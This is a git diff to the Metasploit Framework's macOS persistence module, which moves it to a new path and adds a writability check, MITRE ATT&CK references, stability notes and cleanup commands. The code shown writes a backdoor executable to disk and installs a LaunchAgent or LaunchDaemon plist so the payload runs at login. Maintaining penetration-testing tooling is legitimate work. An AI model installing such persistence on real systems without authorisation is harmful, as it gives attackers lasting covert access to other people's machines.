diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/persistence/launch_plist.rb similarity index 78% rename from modules/exploits/osx/local/persistence.rb rename to modules/exploits/osx/persistence/launch_plist.rb index 28ed58605d6d5..1393c01e8594e 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/persistence/launch_plist.rb @@ -11,6 +11,10 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/osx/local/persistence' def initialize(info = {}) super( @@ -23,13 +27,15 @@ def initialize(info = {}) upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory. In either case the plist entry specifies an executable that will be run before or at login. + + Verified on OSX 11.7.10 (Big Sur) }, 'License' => MSF_LICENSE, 'Author' => [ "Marcin 'Icewall' Noga ", 'joev' ], 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ], - ['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }], + [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }], [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], @@ -38,13 +44,14 @@ def initialize(info = {}) 'DisclosureDate' => '2012-04-01', 'Platform' => [ 'osx', 'python', 'unix' ], 'References' => [ - 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf', - 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html' + ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'], + ['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'], + ['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION] ], 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4 } ) ) @@ -61,9 +68,19 @@ def initialize(info = {}) [false, 'Run the installed payload immediately.', false]), OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]]) ]) + deregister_options('WritableDir') + end + + def check + folder = File.dirname(backdoor_path).shellescape + folder = File.dirname(folder) + return CheckCode::Safe("#{folder} not found") unless exists?(folder) + return CheckCode::Safe("#{folder} not writable") unless writable?(folder) + + CheckCode::Appears("#{folder} is writable") end - def exploit + def install_persistence check_for_duplicate_entry if target['Arch'] == ARCH_PYTHON @@ -78,8 +95,9 @@ def exploit write_backdoor(payload_bin) # Add plist file to LaunchAgents dir add_launchctl_item - # tell the user how to remove the persistence if necessary - list_removal_paths + @clean_up_rc << "rm #{plist_path}\n" + @clean_up_rc << "execute -f /bin/launchctl -a \"remove #{File.basename(backdoor_path)}\"\n" + @clean_up_rc << "execute -f /bin/launchctl -a \"stop #{File.basename(backdoor_path)}\"\n" end private @@ -89,7 +107,7 @@ def add_launchctl_item label = File.basename(backdoor_path) cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}") # NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive - item = <<-EOI + item = <<-EOF @@ -110,16 +128,19 @@ def add_launchctl_item <#{keepalive?}/> - EOI + EOF if write_file(plist_path, item) print_good("LaunchAgent added: #{plist_path}") + @clean_up_rc << "rm #{plist_path}\n" else fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}") end if run_now? cmd_exec("launchctl load -w #{plist_path.shellescape}") + else + print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}") end print_good('LaunchAgent installed successfully.') @@ -145,16 +166,6 @@ def keepalive? datastore['KEEPALIVE'] end - # useful if you want to remove the persistence. - # prints out a list of paths to remove and commands to run. - def list_removal_paths - removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}" - removal_command << " ; rm #{plist_path}" - removal_command << " ; launchctl remove #{File.basename(backdoor_path)}" - removal_command << " ; launchctl stop #{File.basename(backdoor_path)}" - print_status("To remove the persistence, run:\n#{removal_command}\n") - end - # path to the LaunchAgent service configuration plist # @return [String] path to the LaunchAgent service def plist_path @@ -180,6 +191,7 @@ def write_backdoor(exe) if write_file(backdoor_path, exe) print_good("Backdoor stored to #{backdoor_path}") cmd_exec("chmod +x #{backdoor_path.shellescape}") + @clean_up_rc << "rm #{backdoor_path}\n" else fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}") end